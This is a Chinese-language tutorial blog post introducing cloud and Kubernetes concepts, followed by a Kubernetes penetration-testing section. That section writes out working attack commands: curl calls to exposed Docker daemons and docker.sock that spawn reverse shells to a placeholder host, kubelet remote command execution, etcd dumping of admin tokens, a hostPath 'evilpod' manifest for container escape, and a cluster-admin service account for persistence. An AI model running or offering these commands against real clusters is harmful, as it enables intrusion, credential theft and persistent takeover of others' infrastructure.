K8s安全入门学习扫盲贴
点击蓝字 / 关注我们
0x00 云
云的定义看似模糊,但本质上,它是一个用于描述全球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的全球远程服务器网络,它们连接在一起,旨在作为单一的生态系统运行。这些服务器设计用于存储和管理数据、运行应用程序,或者交付内容/服务(如视频短片、Web 邮件、办公室生产力软件或社交媒体)。不是从本地或个人计算机访问文件和数据,而是通过任何支持 Internet 的设备在线访问 - 这些信息在必要时随时随地可用。 企业采用 4 种不同的方法部署云资源。存在一个公有云,它通过 Internet 共享资源并向公众提供服务;一个私有云,它不进行共享且经由通常本地托管的私有内部网络提供服务;一个混合云,它根据其目的在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。
0x01 何为k8s ?
其为google开发来被用于容器管理的开源应用程序,可帮助创建和管理应用程序的容器化。
用一个的例子来描述:"当虚拟化容器Docker有太多要管理的时候,手动管理就会很麻烦,于是我们便可以通过k8s来简化我们的管理"
K8S 架构简述
etcd
它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes API服务器可以访问它,因为它可能具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。
简而言之:存储节点信息
Kubernetes是一个API服务器,它使用API在集群上提供所有操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开了Kubernetes API
简而言之:读取与解析请求指令的中枢
该组件负责调节群集状态并执行任务的大多数收集器。通常,可以将其视为在非终止循环中运行的守护程序,该守护程序负责收集信息并将其发送到API服务器。它致力于获取群集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同类型的控制器来处理节点,端点等。
简而言之:维护k8s资源
这是Kubernetes master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪群集节点上工作负载的利用率,然后将工作负载放在可用资源上并接受该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调度程序负责工作负载利用率,并将Pod分配给新节点。
简而言之:负载均衡调度器
Docker
Docker引擎,运行着容器的基础环境
在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。
代理服务,用于负载均衡,在多个pod之间做负载均衡
日志收集服务
pod是k8s的最小服务单元,pod内部才是容器,k8s通过操作pod来操作容器。一个Node节点可以有多个Pod
这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。
搭建K8S
K8S的基础概念
部署——Deployment
比如说,当Deployment在部署应用时,master节点会选择最合适的节点创建包含相应Container(容器)的POD
又比如说,Deployment会监控应用程序实例,当运行应用程序的工作节点宕机时,它将会在判断集群中最适宜重新部署的工作节点,并在其上面重新创建新的实例(新创建的应用程序的POD ip和pod名会与之前的不同)。
# 查看 Deployment
kubectl get deployments
# 查看 Pod
kubectl get pods
#根据yaml文件部署
kubectl apply -f nginx-deployment.yaml
一个yaml文件差不多就长这样
apiVersion: apps/v1 #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本
kind: Deployment #该配置的类型,我们使用的是 Deployment
metadata: #译名为元数据,即 Deployment 的一些基本属性和信息
name: nginx-deployment #Deployment 的名称
labels: #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解
app: nginx #为该Deployment设置key为app,value为nginx的标签
spec: #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用
replicas: 1 #使用该Deployment创建一个应用程序实例
selector: #标签选择器,与上面的标签共同作用,目前不需要理解
matchLabels: #选择包含标签app:nginx的资源
app: nginx
template: #这是选择或创建的Pod的模板
metadata: #Pod的元数据
labels: #Pod的标签,上面的selector即选择包含标签app:nginx的Pod
app: nginx
spec: #期望Pod实现的功能(即在pod中部署)
containers: #生成container,与docker中的container是同一种
name: nginx #container的名称
image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container,该container默认80端口可访问
POD是集群上最基础的单元
每个POD对与其对应的节点Node绑定,一个POD对应着一个IP。
Node节点由Master节点统一管理,Master会根据各Node的资源可用程度自动调度Pod到不同的Node上。
-
Addresses -
Conditions -
Capacity and Allocatable -
Info
地址
-
HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。 -
ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地址。 -
InternalIP:通常是节点的仅可在集群内部路由的 IP 地址。
状况(conditions 字段描述了所有 Running 节点的状态)
-
Ready 如节点是健康的并已经准备好接收 Pod 则为 True;False 表示节点不健康而且不能接收 Pod;Unknown 表示节点控制器在最近 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息 -
DiskPressure为True则表示节点的空闲空间不足以用于添加新 Pod, 否则为 False -
MemoryPressure为True则表示节点存在内存压力,即节点内存可用量低,否则为 False -
PIDPressure为True则表示节点存在进程压力,即节点上进程过多;否则为 False -
NetworkUnavailable为True则表示节点网络配置不正确;否则为 False
容量与可分配
-
描述节点上的可用资源:CPU、内存和可以调度到节点上的 Pod 的个数上限。
信息
-
关于节点的一般性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系统名称。这些信息由 kubelet 从节点上搜集而来。
相关命令 -
#获取类型为Pod的资源列表
kubectl get pods
#获取类型为Node的资源列表
kubectl get nodes
# kubectl describe 资源类型 资源名称
#查看名称为nginx-XXXXXX的Pod的信息
kubectl describe pod nginx-XXXXXX
#查看名称为nginx的Deployment的信息
kubectl describe deployment nginx
#查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志
kubectl logs -f podname
#在Pod中运行命令
kubectl exec -it nginx-pod-xxxxxx /bin/bash
服务——Service
因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是Service。
Service为一系列有相同特征的Pod(一个应用的Pod在不停变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个统一的访问方式,
Service是通过标签选择器( LabelSelector)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不仅仅局限于Pod) 可以编成一个容器组的。
Service有三种选项暴露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调整
-
ClusterIP(默认)
在群集中的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到 -
NodePort
使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中任意节点+端口号的方式访问服务<NodeIP>:<NodePort>
。此时 ClusterIP 的访问方式仍然可用。 -
LoadBalancer
在云环境中(需要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地址作为服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍然可用。
伸缩——Scaling
当流量增多导致应用程序POD负载加重后可以通过修改replicas增加POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发
滚动更新——Rolling Update
0x02 K8S安全
初始访问
云账号AK泄露
通俗来讲,人想要访问一个服务,往往需要提供密码来进行身份验证;而代码想要访问一个云服务API,则需要提供accesskey来进行身份验证。
如果accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell回来作为入口点慢慢往内打。
恶意镜像
个人觉得此方法多用于钓鱼?
API Server未授权
insecure-port 开启
/etc/kubernets/manifests/kube-apiserver.yaml
中有
--insecure-port=8080
配置项,那就启动了非安全端口,有了安全风险。
step1:进入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
-–insecure-port=8080
-–insecure-bind-address=0.0.0.0
Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,
kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代。
secure-port 配置错误
一般来说system:anonymous用户权限是很低的,但是如果运维人员管理失当,吧system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)
kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes (192.168.111.20:6443 是master节点上apiserver的secure-port)
然后提示输入账户密码,随便乱输就行
configfile 泄露
容器内部应用入侵
私有镜像库暴露
docker.sock 利用
Docker daemon想调用docker指令,就需要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。
同时,Docker daemon也可以通过配置将docker.sock暴露在端口上,一般情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。
公网暴露
server="Docker" && port="2375"
curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
直接利用现成的docker.sock
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
kubelet 未授权
我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)。
关于authorization-mode还有以下的配置
--authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
--authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
--authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
--authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
--authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。
--authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。
执行Pod内命令
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
获取容器内service account凭据
etcd 未授权
ETCDCTL_API=3 ./etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
查询管理员token
etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
执行
*目录挂载逃逸
首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么?Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。_______________________________________用Pod创建apiVersion: v1kind: Podmetadata: name: evilpodspec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: / __________________________________用deployment创建apiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deployment labels: app: nginx-testspec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
kubectl apply -f xxxxx.yaml如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址:kubectl -s http://master_ip:8080 command这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错——————ref:https://stackoverflow.com/questions/47369351/kubectl-apply-vs-kubectl-create
利用Service Account连接API Server执行指令
pod的serviceaccount信息一般存放于/var/run/secrets/kubernetes.io/serviceaccount/目录下
$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)$ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://192.168.111.20:6443/version/" "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "version is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "version" }, "code": 403
kubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限
在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi
持久化
如何在Node中持久化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是持久化,不如说是权限提升更符合实际一点,因为这几个手段在实际渗透中都是为了从Pod逃逸出来获取Node权限。
在私有镜像库中植入后门(Pod持久化)
或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像。
修改核心组件访问权限(集群持久化)
shadow api server(集群持久化/cdk工具利用)
权限提升
探测
是否在容器环境中
-
根目录下/.dockerenv 文件存在即docker环境 -
/proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中
-
没有常见命令
-
查看环境变量中是否有k8s或者docker字符串
-
查看端口开放情况(netstat -anp),如果开放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器 -
查看当前网段,k8s中 Flannel网络插件默认使用10.244.0.0/16网络,Calico默认使用192.168.0.0/16网络,如果出现在这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面没有命令很少,可以通过hostname -I(大写i)来查看ip地址